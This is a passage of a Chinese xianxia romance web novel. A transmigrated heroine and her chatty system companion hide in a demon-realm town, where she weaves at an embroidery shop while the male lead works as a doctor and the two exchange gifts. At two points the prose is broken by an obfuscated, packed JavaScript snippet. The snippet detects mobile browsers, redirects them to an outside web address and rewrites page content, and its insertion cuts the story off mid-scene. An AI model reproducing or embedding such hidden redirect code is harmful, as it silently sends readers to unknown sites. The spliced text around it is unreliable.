比如剑宗弟子避如蛇蝎,环境相当恶劣的守魔界。 那么按正常逻辑推理,隔绝魔界的防线环境都那么差了,被隔绝在内的魔界环境更差更恶劣…… 难道不是很合理吗? 谁能想到魔界乍眼一看,实际上竟然是个和修行界别无二致的地方? 虽然只是一个边远小镇。 思忖着,祝昭昭轻咳两声找补:“……不过是我不对,毕竟玉娘小枝她们人就很好,镇子上的人看起来应该也不会坏。” “是我有失偏颇,不礼貌了。” 她本来以为一轮客套话说完,这事就算过了。 却没想到慕行秋并不随着她的意转移话题,反而继续问了下去—— “所以你会觉得,魔界的人都是阴险狠毒,动辄打杀的魔头。” “是这样吗?” 坏了。 心头顿时一个咯噔,祝昭昭甚至都不敢看身旁慕行秋。 她哪怕反应再迟钝,这会儿也该听出点不对味来了。 不过为什么啊? 修真界的人对魔界有刻板印象难道不是很正常一件事吗,这家伙干嘛死揪着不放啊? 她现在的身份是信息匮乏的散修啊散修! 懂不懂啊! 然而吐槽归吐槽,祝昭昭深知此时此刻如果不死装不懂到底,自己就绝对完蛋了:“不是。” 她急速思考:“我的意思是,我先前没有接触过魔族,你也知道修真界对魔族都是什么评价,所以……” 小心翼翼抬眼去瞧慕行秋,祝昭昭瞬间闭上嘴。 *的。 这人到底知不知道自己现在的反应已经反常过头了啊? 不要再纠结别人对魔族的态度了! 你现在的身份是剑宗大师兄你知道吗? 但凡换个人站在这,你已经要暴露了知道吗?? 祝昭昭:这是在干什么·jpg 不过该说不说,他这表面平静实则暗流汹涌的表情,和她准备让202领死时候的表情是有点像的。 仿佛知道自己被点了名,202也在精神空间里啧啧出声:“主人,人家大反派就是魔族的,你说这话不是越描越黑了嘛。” 它沉痛摇头:“完全是贴标签啊贴标签。” 祝昭昭简直想掐人中。 那要她怎么说嘛! 顿时只感觉脑子嗡嗡响,祝昭昭试图说点别的挽回一下气氛:“……不说这个了,绣坊就在这附近,我准备要过去了。” “你呢,你现在要去哪?” “你去绣坊便好。”慕行秋朝她微笑,“不用管我去哪。” “我自有去处。” 说完不等祝昭昭回答,他转身就走。 站在在原地目送他离开,祝昭昭心底一声叹。 果然是生气了啊。 直到慕行秋的身影彻底消失在视线中,祝昭昭终于对此次谈话作出总结:“从某种程度上来说,他这属于无理取闹。” 202表示赞同:“是有点。” 话音落,又紧接着‘嘶’了一声:“不过……” 祝昭昭死鱼眼斜它:“不过什么。” “不过我倒是听过一个说法。”202作思考状,“是628说的,我也不知道对不对。” 祝昭昭本来就烦:“说的什么,你说清楚。” “就是说,” 202在祝昭昭脸旁晃悠:“它说柳雨露和它说过,在她们的位面,如果男主像这样发了非常规性质的脾气……” “那就意味着差不多了。” 闻言神色微动,祝昭昭挑眉:“差不多的意思是?” 显示屏上一双大眼闪动着智慧的光芒,202跟着她嘀咕:“是……” 一人一机大眼瞪小眼,直到202突然兴奋得像发现了新大陆:“我知道了!” 祝昭昭被它吓一跳。 “是她们和男主的交情达到了进一步的升华!” 显然觉得自己这个答案简直天才,202得意洋洋:“这意味着她们可以开始尝试将男主玩弄于股掌之间!” 看着乐得手舞足蹈的202,祝昭昭虽然不知道柳雨露口中的‘差不多’究竟是差什么不多。 但同样很清楚绝对不是202说的那种差不多。 她一言难尽地看着202。 难怪各部门交流团建的时候,二部门和三部门的维护员还有系统,永远在鸡同鸭讲。 给重点都理解不了的那种。 祝昭昭头痛。 得不到答案,见202那副架势估计又要自嗨半天,祝昭昭索性放任它瞎乐呵,自己离开精神空间。 望着眼前人来人往的铺子,祝昭昭深呼吸后,脸上扬起惯常笑容。 * 进门是琳琅满目的衣裙长袍,柜台后串珠帘遮挡住的,则是染色纺织的工坊。 玉娘上工的这个铺子与其说是绣坊,实则更像是个自产自销的服装店。 而凭借无数位面混出来的快速熟络手段,祝昭昭几乎没费什么功夫,就让坊主欣然接受了她的到来。 甚至因为把坊主哄得太高兴,她成功得到坊主亲自倾情介绍绣坊环境,以及玉娘大概工作内容的超高待遇。 两人一路说笑着,直到坊主把祝昭昭带到一架空着的织布机旁:“那玉娘不在的这段日子,阿昭你就先好好替她干活。有什么不懂的,尽管问她们。” 坊主边说,边向祝昭昭示意身后其他正在忙碌的绣娘。 祝昭昭也非常上道地点头:“阿昭知道,阿昭一定好好干活。” “不辜负坊主您的抬爱。” 显然很满意祝昭昭的反应,坊主拍拍她肩膀后,笑容满面地离开。 祝昭昭也很快将注意力放到眼前的纺织木架上。 “阿昭?” 正当祝昭昭等待202找织布机操作说明书时,她忽然听见身后传来一道略微迟疑的声音。 于是她循声扭头,和一个小姑娘对上视线。 姑娘看起来比她岁数要小:“你是不是不知道织布机怎么用呀?” 祝昭昭眨眨眼。 很快从小姑娘的表情判断出她并没有恶意,祝昭昭笑起来:“会一点点,但不是特别熟练。” “你可以教教我吗?” 眸光闪动起来,小姑娘重重点头:“嗯!” 话落快步走到祝昭昭身旁,小姑娘理了理织布机上的线:“很简单的,阿昭你就按我教你的来做就好。” * 在小姑娘,也就是阿鱼的手把手教导,以及202随后提供的视频教程的双重指导下,祝昭昭很快就学会了如何操作织布机。 给了阿鱼几块饴糖当做谢礼,祝昭昭开始认真织布。 自觉无聊的202也开始没话找话:“主人啊。” “你说我们要在这里待多久,才能在这个小镇混到眼熟啊?” 它熟练地投影出一小块光幕,看起来像是准备在线斗地主:“又或者说,老老实实待在绣坊,真的能混眼熟吗?” “想混眼熟,最起码应该在外面多跑跑吧。” “就待在绣坊织布,会被谁眼熟到啊?” 在一边叨叨半天完才发现祝昭昭根本没在听,202顿时瞪大眼。 它一副‘你怎么可以这样我真的要闹了’的表情看着祝昭:“主人,你为什么在发呆?” 视线落在织布机上渐渐显现雏形的布,祝昭昭心不在焉地回它:“我在想。” 得到回应的202闪电般凑到她脸旁:“在想什么?” 它死死盯着祝昭昭:“如果是想没用的事情才不听我说话,我可是要惩罚主人你的!” “在想慕行秋现在应该在哪。” 直接调出熟悉的电击快捷键按下,祝昭昭无视身旁爆开的耀眼电光,“我虽然不担心他找不到能待的地方,但如果不小心被他混进什么奇怪的组织,那肯定也不行。” “毕竟这可不是什么好地方。” 电击结束,掉到地上翻滚的202虽然暂时没法说话。 内心却在疯狂吐槽—— 还什么‘不担心’。 明明就是很担心吧! 完全一副魂不守舍的样子了啊! 我的主人你快醒醒,你现在有点像吃错药了你知道吗?! 祝昭昭当然不知道202在想什么。 电完202,她慢悠悠地回神:“况且从进绣坊到现在,我待了最多不过三个小时;单论操作织布机,甚至不到一个半小时。” “然后你现在就开始着急让我出去混眼熟。” 她用一种‘你最好给我见好就收’的表情盯着202:“要斗地主,就闭上嘴安静点斗你的地主。” “否则我不介意立刻给你找点事做。” 闻言瞬间伸出机械手,202在显示屏的嘴巴位置比了个拉拉链的手势,然后专心斗它的地主。 祝昭昭也得以安静织她的布。 * 时间不知不觉过去,一人一机就这么各干各的,直到上工结束。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我和你一起去吧。” 说着走到小鱼身旁,祝昭昭朝她笑得眉眼弯弯:“我刚好也想看看新大夫长什么样。” * 照着药方抓齐了最后一味药,慕行秋站在原地出了会神。 边上同样在抓药的男子见状停下动作,笑了起来:“怎么了慕大夫,是太累了吗?” 回过神,慕行秋垂眸将手里的药材包好:“尚可。” 男子只当他在说客套话:“自己写方子自己抓是累,不过这不是因为我们都看不明白您药方的搭配嘛。” 微一颔首是算是回答,慕行秋开始包下一份药材。 见慕行秋一副不辨喜怒的模样,男子想说点什么找补,边上另个小童便赶在那之前撞了他肩膀一下。 再附在他耳边低声:“慕大夫刚来的时候就这样了,他不是因为自己抓药才不高兴的。” “你别去烦他。” 听罢偷瞧了慕行秋一眼,男子也悄悄回问道:“那慕大夫为什么不高兴?” 小童无奈:“我哪知道,总之你别烦他就是了。” “……” 两人的对话传进耳里,慕行秋脸上始终没什么表情。 他不高兴了吗? 冷静就是不高兴吗? 他难道不是一直都这样? 不高兴在哪? 包好最后一副药,慕行秋走出药房,将手里的六副药,交给在门外等候多时的老妪:“隔水煎服,三日后再来找我。” 老妪接过药,点头称是。 微一颔首权当回应,慕行秋准备离开。 却被老妪叫住。 “大夫。” 老妪看起来有些不安:“是不是我的药太便宜了。” 慕行秋怔住:“什么?” “大夫你不是因为我的药太便宜了,所以不高兴么。”老妪神情低落,“但老婆子我实在只有这些钱了,我……” “并不是。” 想说什么却发现无从说起,慕行秋最后默了默:“您尽管拿药回去便是,我没有不高兴。” 老妪张了张口:“可是……” 慕行秋截住她话头:“您快回去吧。” 目送老妪颤巍巍离开,慕行秋也很快回到坐诊的地方。 看也不看桌边围成一圈的人,他只垂眸拿起毛笔:“下一位。” 立刻有人坐在了桌前的椅子上。 “何处不适。”慕行秋眼皮都没抬。 来人拉长音调‘嗯’了一句:“大夫你不先看看我吗?” 轻巧的女声,隐约还带着笑意。 而且很熟悉…… 熟悉? 慕行秋抬起头来。 没有错过他眼底一闪即逝的错愕,两手托腮的祝昭昭头一歪,朝他笑得更欢:“怎么在发呆。” “慕大夫?” 114. 亲手做的小花,送你。 药童,婆婆……也许他们说得是对的。 慕行秋想。 他刚才,确实应该是不高兴的。 否则他无法解释此刻的内心,为何迥然于之前的平静。 变得如此雀跃。 回过神,慕行秋复又垂下眼帘。 他淡声:“你来干什么。” 见慕行秋一副没什么表情的死人棺材脸,祝昭昭登时撇撇嘴。 好端端的人来医馆还能干什么? 看病呗! 顿感无趣,祝昭昭站起身,转而把一旁的小鱼拉过来按在椅子上:“喏,是她不舒服。” 慕行秋似乎早有预料。 专心在纸上写着什么,他问:“是你在绣坊认识的朋友么。” 朝慕行秋动笔的位置瞄了眼,祝昭昭嘴里答:“对啊,她耳后长了个疖子,说是可疼了。所以我们来看看。” 到此为止,两人之间的对话还很正常。 却没想到原本安静坐着的阿鱼听完,突然转身抬头看着她:“阿昭。” 祝昭昭眨眨眼:“怎么了?” 阿鱼一脸无辜:“你不是说你是因为想见医馆新来的大夫,才和我一起过来的吗?” 祝昭昭傻了。 眼见着慕行秋唇角隐约弯起一抹弧度,她瞬间只觉得一股血直冲脑袋:“……没有啊,是小鱼你听错了吧。” 小鱼的倔犟劲也是一下上来了:“我才没有听错呢,阿昭你明明就是说了。” “我还记得你说的什么呢!” “你说,” 她完整复述出了祝昭昭在绣坊的话:“‘我刚好也想看看新大夫长什么样。’” 小鱼甚至模仿了祝昭昭说话时的笑模样。 余光瞄见慕行秋不知何时已经抬起头,一副看好戏的模样,祝昭昭感觉自己简直要死过去。 为了防止事态朝不可控方向狂奔,她选择服软认输:“好好好,我想起来了。” “我是说过这话。” 不给小鱼继续说下去的机会,她飞速转移话题:“诶,为什么这里这么多人。” “集市上只有这一个医馆吗?” “当然不是啦。” 顺着祝昭昭的目光环视四周,小鱼摇摇头:“镇上一共三家医馆呢。” “而且这间医馆还是刚开的,生意一直没有其他两家好。” 说着也开始觉得不对劲起来,小鱼皱起眉头:“对啊,那为什么这间医馆这么多人呢?” 为什么这么多人? 祝昭昭没吭声,只是看透一切的目光移到了桌前坐着的人身上。 察觉到她的视线,慕行秋慢悠悠抬眸,朝她微笑起来。 嘁。 会看病了不起啊? 我也会! 祝昭昭忿忿收回目光。 没再跟两人聊闲,慕行秋示意小鱼将长着疖子的地方朝向自己,大概碰触观察一阵后,坐回原位。 “照着这个方子拿药。”很快写好药方,慕行秋示意小鱼往药房走,“捣碎后敷于耳后生疖处即可。” 点点头,小鱼接过药方:“谢谢大夫,我这就过去。” 祝昭昭见状跟上小鱼:“那你先忙,我和小鱼拿完药就先回去了。” 出乎她预料地,慕行秋竟然也站起身。 “不用。” 扫了眼周围拥挤的人群,祝昭昭愣愣看着慕行秋。 不用?? 这么多人等着看病呢,你就不用了?? 眼见着慕行秋真从桌子里绕了出来,仿佛已经感受到周围含怨目光,祝昭昭简直额角冒汗:“你要不再坐会儿?” “这些人都在等你看病呢……” 慕行秋没说话。 只是再次往后退开两步。 再接着,他身后冒出另位稍年长的妇人,坐在了位置上。 几步走到祝昭昭跟前,慕行秋话音堪称轻巧:“这是医馆的东家,之后便都是她坐诊。” “所以我们可以一起回去了吗?” 面前人的笑脸仿佛在散发圣光,仓促间,祝昭昭只能移开视线:“……那随便你。” 开方子的大夫亲自过来指导抓药,几乎没费什么功夫,小鱼就拎着几副药,高兴地和祝昭昭道了别。 两人于是同行返回。 走出医馆,望着街边的小贩,祝昭昭率先打破平静:“去医馆做大夫……确实挺适合你的。” “不过你是怎么说服医馆东家收你的?” 她说着,有些不解:“毕竟大夫不比其他,东家轻易不会让眼生的人看诊才对?” “按常理来说,的确如此。” 慕行秋微一颔首:“但若我是以替她解决了一位疑症病人为代价,让她同意我坐诊的呢?” 那你就厉害呗! 祝昭昭:我早已看透一切·jpg 偷偷翻了个白眼,她回归正题,精神传音:“但如果一直这样下去,寻路之事根本无从谈起。” “我们还是要找机会出去转转。” 慕行秋不置可否:“你有何计划?” “我想找个机会正大光明地出去。” 刚才虽然嫌202烦电了它一顿,但实际上它说的,也确实是祝昭昭在考虑的:“方才和小鱼闲聊的时候,她告诉我绣坊有的时候会召集人去林中采集可以上色的花草。” “我准备那时候找些理由跟着他们一起去。” 慕行秋‘嗯’了一声:“如此。” 祝昭昭睨他一眼:“可如果贸然提起要与那些人同行,保不准坊主会起疑心,所以我打算循序渐进地来,至少外人瞧着的时候不会奇怪。” “那样的话,就至少要先在绣坊待上几天。” 慕行秋:“嗯。” 听见动静的祝昭昭皱起眉头。 到底在嗯什么? 难道这家伙还在为早上的话生气,所以故意不搭理她? 思忖着,祝昭昭突然有些光火。 她猛一扭头:“你嗯什么?” 眼底刹那闪过的愣怔被掩饰得很好,慕行秋朝她望去的眸光淡淡:“什么?” “我和你说正经事,你一口一个‘嗯’是什么意思?” 早在慕行秋回应的时候,就惊觉自己的反应似乎有些奇怪地过激了。但意识过后,祝昭昭发现自己竟然不想压抑自己:“你是不是还在为早上的事情生气?” 越说越觉得眼前这家伙简直没良心,她仿佛要把地面盯出个洞来:“虽然我的说法确实不妥,但我确实不是故意的,之后也解释了为什么那么说。” “那还不够吗?” 祝昭昭说得认真,慕行秋落在她身上的目光,亦始终没有离开。 即使低着头,他也能感觉到她的委屈。 他甚至仿佛已经透过滑落她肩头的乌发,瞧见她可怜的表情。 可是为什么呢? 他的生气与否,对她而言很重要吗? 自己今天又为什么,不替她绾更清爽的发髻呢? 恰好有风起,散漫的神思被少女飘动起来的发带拉回,慕行秋悄悄敛下目光。 “我没有生气。” 抬手间,他掌心多了样物什:“我只是想等你把话说完。” 祝昭昭顿时满头问号。 等我把话说完?? 本来就不爽,这会儿慕行秋又给了回应。主打的就是一个绝不内耗,祝昭昭当即拧眉抬头—— 然后正对上慕行秋递到自己身前的手。 她愣住:“这是……” “安神香囊。” 慕行秋垂眸:“今日坐诊时偶然碰见个不寐症的病人,我替他抓药时不小心多抓了一份,便干脆顺手多做了一个。” 闻言将信将疑瞧了他一眼,祝昭昭接过香囊。 不大的一个,入手却很有分量。祝昭昭轻轻将之凑近鼻尖,一股清新香气便很快传开。 这当口202咋咋呼呼的声音从精神空间传来:“确实有安神效果诶!” 祝昭昭:……? “你凑什么热闹。”她没好气。 202笑嘻嘻凑到她肩旁:“不是我想凑热闹,主要是我觉得大反派送安神香囊实在大有说头啊。” 祝昭昭听得都想笑:“他送安神香囊有没有大说头我不知道。” “你这一点屁大点事都能发散的样子,我倒是觉得比较大有说头。” 一听这话就急了,202‘诶’一声蹦起来:“本来就是嘛,那你说好端端的,大反派为什么突然送助眠的东西给主人你。” “肯定是因为昨晚听到主人你睡不着,在床/上翻来滚去的动静了嘛!” 它越说越来劲:“哼哼,想想看。大晚上的,孤男寡女就隔着一个屏风,对面有什么动静都听得一清二楚……但这不是重点。” “重点是大反派竟然会因为主人你睡不着而特意给你做安神香囊诶!” 202开始大思考:“那我可不可以认为,大反派对我们已经没有威胁了,之后我们执行任务就能放飞自我了?” 祝昭昭没吭声。 她本来是想直接给它脑袋一个暴栗的。 这种话都能说出口,不揍这货都白跟它搭档那么多年。 然而也许是202说得实在太认真,她听着听着,竟然开始浑身不自在起来。 可是有什么好不自在的?? 定定神,祝昭昭不耐烦地回它:“他都说了只是顺手,你想那么多干嘛?” “还放飞自我。” 祝昭昭一听这话就来火:“你怎么不直接舞到他跟前,把他抓住关起来直到剧情结束?” “别再想那些有的没的,” 她说着,作势要敲202脑袋:“老老实实走剧情,这次再出岔子我跟你没完!” 从精神空间抽离出来,祝昭昭目光重新聚焦在掌心香囊: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280597|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “谢谢。” 习惯性想将之收进储物袋,然而预备动手的时候,她却忽地手一顿。 最后把香囊挂在了腰间:“好吧,既然你送了礼物给我,那我不回礼倒是失了礼数。” “刚巧。” 很快从储物袋拿到想要的东西,她停下脚步:“我今天在绣坊空闲时,也做了个小玩意。” 慕行秋停在她身旁:“什么小玩意。” “喏。” 祝昭昭摊开手掌:“就这个。” 那是一个小小的,花朵模样的小东西。 小花颜色缤纷,想来应该是她用剩下的各色碎布缝制而成。模样不算精巧,有些地方甚至可以瞧见缝制时不仔细漏出的棉絮,不可谓不粗糙。 却是她亲手做的。 思忖着,慕行秋收回目光:“很漂亮。” 漂亮?? 祝昭昭深知自己的手工水平:“谢谢你安慰我,但它到底漂不漂亮,我心里有数。” 少女摩挲小花的指尖纤细,慕行秋抿唇。 他想告诉她,他并不是在和她说虚伪的客套话。 可张了张口,另一种近乎迫切的心情却让他无法控制地调转话头:“你是想拿它当做回礼么。” “对啊。” 像是早已做好被嫌弃的心理准备,祝昭昭抬头,朝他眨眨眼:“你如果不想要也行,那我改天再在集市挑个别的给你。” 她说着,就准备把小花收回去。 然而下一秒,她的手就被定在原位。 “我没说不要。” 指尖轻轻从祝昭昭掌心捻起小花,慕行秋话音平静:“礼物还是亲手做的更有意义。” “况且香囊是我亲手所制,你将这亲手织就的小花当做回礼,也算合情合理。” 祝昭昭怒瞪他动作。 拿东西就拿东西,用灵力定住人干什么?? 这人什么毛病?! 灵力禁锢随着小花被拿走很快消失,祝昭昭甩甩手腕。 “行行,你觉得合适就好。” 介于是自己早上先惹慕行秋生气,祝昭昭最后决定不和他计较:“不过既然这朵小花送你了,那改天我再重新做一朵送给小枝吧。” 注意力被旁边买饴糖的小贩吸引,祝昭昭因此没有发现身旁人忽然停住了摩挲掌心小花的动作。 “为什么一定要送亲手做的东西?” 嗯? 先是一愣,祝昭昭很快反应过来慕行秋是在和自己说话。 她有点奇怪:“什么为什么,想送就送啊。” “你问这个干嘛?” 话落那一瞬,祝昭昭竟然从慕行秋脸上看见了哑然。 他不知道怎么回答。 祝昭昭震惊。 那怎么想起来问的?? 最后只当他是随口一问,祝昭昭没再纠结太多:“你就当是我的一片心意。” 没想到他回得很快:“若论心意,为何不送些孩子会喜欢的东西。” 祝昭昭不假思索:“孩子不喜欢玩具吗?” “像你方才看的冰糖葫芦就很好。” 不接她话头,慕行秋走到小摊前,从稻草棒子上抽出两根糖葫芦:“如无意外,小枝应该鲜少吃些零嘴,买给她再好不过。” 祝昭昭有些动摇:“可是……” “你若是担心不够,可以再多带一件这个。” 慕行秋说着。又拿起旁边小摊上摆着的布老虎:“两样一起送给小枝,相信她一定会喜欢。” 祝昭昭见状有话说:“送这个不如我亲手做一个。” 慕行秋比她还快:“现做需要时间,送礼还是一起送最好。” “分两次也没关系,小枝是好孩子,她不会怪我。” “总归不美。” “不美在哪?” “……” 空气安静下去,祝昭昭饶是再迟钝,这会儿也嗅出不对味来。 她上下打量对面人一眼:“我就是送小枝个礼物,你到底为什么推三阻四的?” 慕行秋沉默。 盯着他半晌,祝昭昭最后叹了口气:“行,布老虎就布老虎吧。” 话音落下的瞬间,小贩满含笑意的‘谢谢客官’声便响起在空气中。 祝昭昭震撼侧目。 不是? 就等我发话呢?? 眼看着慕行秋结完帐,祝昭昭抬脚就走。 拎着糖葫芦和布老虎走在她身边,慕行秋眸光掠过她侧脸—— “以后都不要再做布偶了罢。” “为什么?” “小枝若是想要布偶,我可以给她买。” “……” “可以么?” “……” “可以么?” “好好好,可以!”祝昭昭简直头痛,“我还嫌麻烦呢。” 你一言我一语地,两人相携着离开集市。 115. 多般配的一对璧人啊 “在忙什么呢?” 正放在纺织机上的手一颤,祝昭昭回过神来。 视线很快循声落在朝自己走来的阿鱼身上,她问:“怎么了?” “我就是想和你说说我耳后那个疖子。” 说着停在祝昭昭跟前,小鱼微微偏头指着耳后:“擦过药后我感觉它不怎么疼了,你看,是不是好多了?” 祝昭昭依言朝她耳后探头:“是好许多。” “再几日应该便会彻底消下去了。” 整理好鬓角碎发,小鱼心情大好:“慕大夫医术真是太好了,要知道若是先前我长了这样的疖子,不生脓破溃上小半个月,是绝对好不了的。” “是么。” 垂眸,祝昭昭唇边弯起抹弧度:“他知道你这么夸他,应该会高兴的。” 闻言顿时像是收到了鼓舞,小鱼开心一合掌:“真的嘛,那太好了。不然过几天我做些吃的送给他,当做我的谢礼吧!” “阿昭你和慕大夫是熟人,你知不知道他喜欢吃些什么啊?” 嗯? 突然被点名的祝昭昭愣住。 接着在阿鱼热烈的目光下回神:“嗯,他喜欢吃的东西……” 他吃东西吗? 问连辟谷丹都不吃的家伙喜欢吃什么? 这个答案实在是有点难给。 再努力想想? 祝昭昭抿唇。 慕行秋喜欢吃的东西是…… 盯着纺织机上的布匹,她喃喃:“……沁凉蜜吧。” 阿鱼眨眨眼:“什么?” 祝昭昭心头顿时一个咯噔。 沁凉蜜不是这样的地方可以随意见到的东西。 思忖着,祝昭昭视线状似无意地掠过小鱼面颊,又在看清她懵懂神情时,放松下去。 垂眸,祝昭昭佯作无意地清清嗓子:“我是说,他口味清淡,我最常见他吃的就是些清粥小菜。” “你挑些好吃的野菜送他就好。” 作为此地最为常见的吃食,粟米野菜一类的东西第一是便宜易得,第二是符合她和慕行秋目前的身份,所以祝昭昭敢大方说出来。 小鱼的反应也果然不出她所料:“那我回去就准备,看看能不能过两天就交给他。” 点点头,祝昭昭继续她纺织机上的活计。 很快被她手上的动作吸引注意,小鱼‘诶’了一声:“阿昭你真聪明,才来我们这里几天,掌柜的已经敢把流云锦这样的布料交给你了。” “这可是我们这最珍贵的几样料子之一呢!” 小鱼语气满是艳羡,祝昭昭却没什么感觉。 不为什么,就因为她到绣坊已经四五天,却始终没有找到合适的外出机会。 思忖着,祝昭昭轻笑一声回她:“流云锦又如何,我不还是一样是在织布么。” “那怎么能一样!” 小鱼一副恨铁不成钢的表情:“要是好好绣,掌柜的肯定会给阿昭你涨月钱的!” “燕子姐绣了流云锦一个月,掌柜的就给她涨了一两银子。要是阿昭你,肯定比燕子姐涨月钱更快!” 像是担心祝昭昭不信,她甚至直接朝不远处的女人努努嘴:“喏,那就是燕子姐。” “我当然知道那是燕子姐。”祝昭昭哭笑不得,“你若是想绣流云锦,我也可以教你。” 小鱼想都没想就摇头:“算了,我不聪明,万一绣坏了流云锦我可赔不起。不过……” 轻轻拂去落在布匹上的碎叶,祝昭昭随口:“不过什么?” “不过说起来,流云锦的染料似乎就快用完了。” 顺手和路过的绣娘打了个招呼,小鱼继续:“听燕子姐说,流云锦之所以叫流云锦,就是因为染色的染料特殊,配上流云锦特殊的织法,便可让其在光下散发出如水波般的光泽!” “原来是这样。”祝昭昭被她兴奋的声音逗得唇角微弯,“那你特意提起染料,是因为它非常珍贵吗?” 阿鱼立刻‘哇’了一声:“阿昭你太聪明了!” “过奖。” 慢悠悠将纺织机停好,祝昭昭双手放在其上,言笑晏晏地望着阿鱼:“所以它珍贵在什么地方?” 经验告诉祝昭昭,阿鱼口中这个‘非常珍贵’的染料,很可能会成为她名正言顺外出探路的借口。 所以她有足够的耐心,去等待阿鱼的回答。 阿鱼很干脆地说了出来:“这种染料珍贵就珍贵在它特别难得到!” 祝昭昭也‘认真’点头:“为什么?” “因为制作它所用的宵语花,长在黑山的森林里!” 黑山,就是她和慕行秋最开始到的那片森林坐落的地方。 “那地方确实很恐怖。”祝昭昭表示赞同。 “就是啊!”瞪大眼,阿鱼猛点头,“那座森林有多恐怖,我们这没人不知道的。” “而宵语花还长在森林的深处!” 黑山仿佛已经在眼前,阿鱼苦着脸搓搓胳膊:“为了摘到宵语花,掌柜的每次光找人都要废好大一番功夫。而且摘花的人不一定每次都能回来不说,摘回的花还不是每次都很多。” 她说着,叹了口气:“要不是魔宫那边点名要流云锦,宵语花还只长在幽山,谁想去摘那东西啊。” “太危险了。” 快速从阿鱼刚才的话里总结出有用的信息,祝昭昭再问:“所以阿鱼你知道纺里还有多少宵语花吗?” “我怎么知道。” 阿鱼用一种‘你怎么想的’的眼神看着祝昭昭:“像宵语花这种珍贵的东西,只有菁小姐才知道具体有多少。” 菁小姐? 祝昭昭摸摸下巴:“你是说掌柜家的大小姐吗?” “对啊。”阿鱼望着她动作,“绣坊的账本一直是菁小姐在管嘛。” 快速回忆了一遍在绣坊见过的所有面孔,祝昭昭皱了皱眉:“菁小姐这段时间来过绣坊吗?” “没有诶,因为菁小姐最近生病了。” 阿鱼像是被祝昭昭提醒到:“这么说来,阿昭你来的时候,菁小姐已经生病休养一段时间了。” 祝昭昭不置可否:“那既然菁小姐还在休养中,恢复好之前,她应该不会来数宵语花才对。” 她本来只是随口一句。 可出乎预料地,阿鱼脖子一梗,竟然反问起她来:“谁说的?” 祝昭昭:……? 我说的,怎? 好在阿鱼很快自顾自地继续:“谁说菁小姐不过来。” “她今天就会过来!” 阿鱼的模样太笃定,引得祝昭昭一阵好笑:“你怎么知道,菁小姐告诉你的?” “怎么可能。” 阿鱼用一种‘阿昭怎么会问这种问题’的眼神看着祝昭昭:“菁小姐虽然人很好,但也不可能跟我们说这些呀。” 啼笑皆非的祝昭昭敷衍:“嗯嗯,所以阿鱼你到底是怎么知道菁小姐今天要来的?” 抬手拍了拍祝昭昭肩膀,阿鱼有些小得意:“我有没有跟你说,因为慕大夫药到病除,现在越来越多人找他看病了?” 祝昭昭既意外又不意外。 暗忖难怪他这几天每天早出晚归,祝昭昭‘唔’了一声:“没说,不过现在知道了。” 阿鱼‘噗嗤’笑了出来:“菁小姐的病,这里所有的大夫都瞧过了,可都是治标不治本,拖了有点年头了。” “加上最近找慕大夫看病的人多,而且大家都夸他治得好,于是掌柜的就请他这两天来绣坊瞧瞧菁小姐 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一切的一切,无一不在昭示着她的美丽。 却也不至于达到能让她看呆的地步。 所以她为什么会出神? 思绪漫无目的地飘,祝昭昭略微失焦的双眼,下意识落在不远处的两人身上—— 他们相谈甚欢,兴起之时菁小姐会以水袖掩唇轻笑;遇到路有拐弯之时,慕行秋会轻声提醒菁小姐,菁小姐不小心脚下踉跄,慕行秋甚至会虚扶她一把…… 他们配合得那么完美,就好像…… 就好像…… “诶呦,这么一看,慕大夫和菁小姐还真是挺相配的呢!” 兴奋扭捏着,阿鱼撞了下祝昭昭:“对吧阿昭?” 被撞得一个不稳,祝昭昭回神:“……嗯。” “不过想想,慕大夫这么温柔又那么俊秀,说话还那么文绉绉的……” 说着好像觉得不对,阿鱼转了转眼睛:“能这么说吗?” 莫名的情绪散了不少,祝昭昭憋笑:“能。” 阿鱼于是靠在她肩上继续:“那么好的人,和谁不相配呢?” 好人?? 脑海里不受控制地浮现出一些画面,祝昭昭在心底冷笑。 这当口阿鱼在她耳边:“阿昭,你是不是也喜欢慕大夫啊?” 祝昭昭顿时瞪大眼:“没有!” 阿鱼被她吓一跳:“我就是随口一问,阿昭你那么激动做什么。” 祝昭昭想都不想:“因为我不可能喜欢他。” 闻言忽然犹豫了一下,阿鱼最后扭扭捏捏:“那阿昭你刚才干嘛一直看着慕大夫和菁小姐,而且表情还怪怪的。” 怪怪的? 祝昭昭拧眉:“怪在哪?” “怪在,嗯,怪在……” 努力思考半天,阿鱼最后放弃:“哎呀我也不懂怎么说,总之就是不高兴的样子。” 眼尾余光又瞄见不远处相携的两人,祝昭昭表示这根本是无稽之谈。 不高兴? 她为什么会不高兴? 慕行秋和别人说说笑笑走在一起又怎么样,和她有关系吗? 她才不会不高兴! 眼底不知不觉带了点火,正怒得认真的祝昭昭忽然感觉有一道视线落在自己身上。 有点熟悉,却想不起为什么熟悉。她抬头,这才发现慕行秋不知何时已经离开。 这就走了啊…… 走之前竟然不和她打招呼?! 望着轻拂裙摆后朝这边走来的菁小姐,愤怒的祝昭昭当即决定不帮慕行秋美言几句。 116. “阿昭你和慕大夫很像呢。” “阿昭。” 径直走来的菁小姐朝着祝昭昭微笑:“你叫阿昭,对吧?” 没想到菁小姐会先和自己打招呼,祝昭昭看看身旁阿鱼,又在她的笑脸里重望向菁小姐:“对,我是阿昭。” “莫要那么紧张。”很快走到近前,菁小姐轻轻一拍阿鱼肩膀。 对上视线的那刻,两人默契挑眉再一眨眼:“我和阿鱼还算相熟,迟些招呼她也无妨。” “所以阿昭你大方应我就好。” 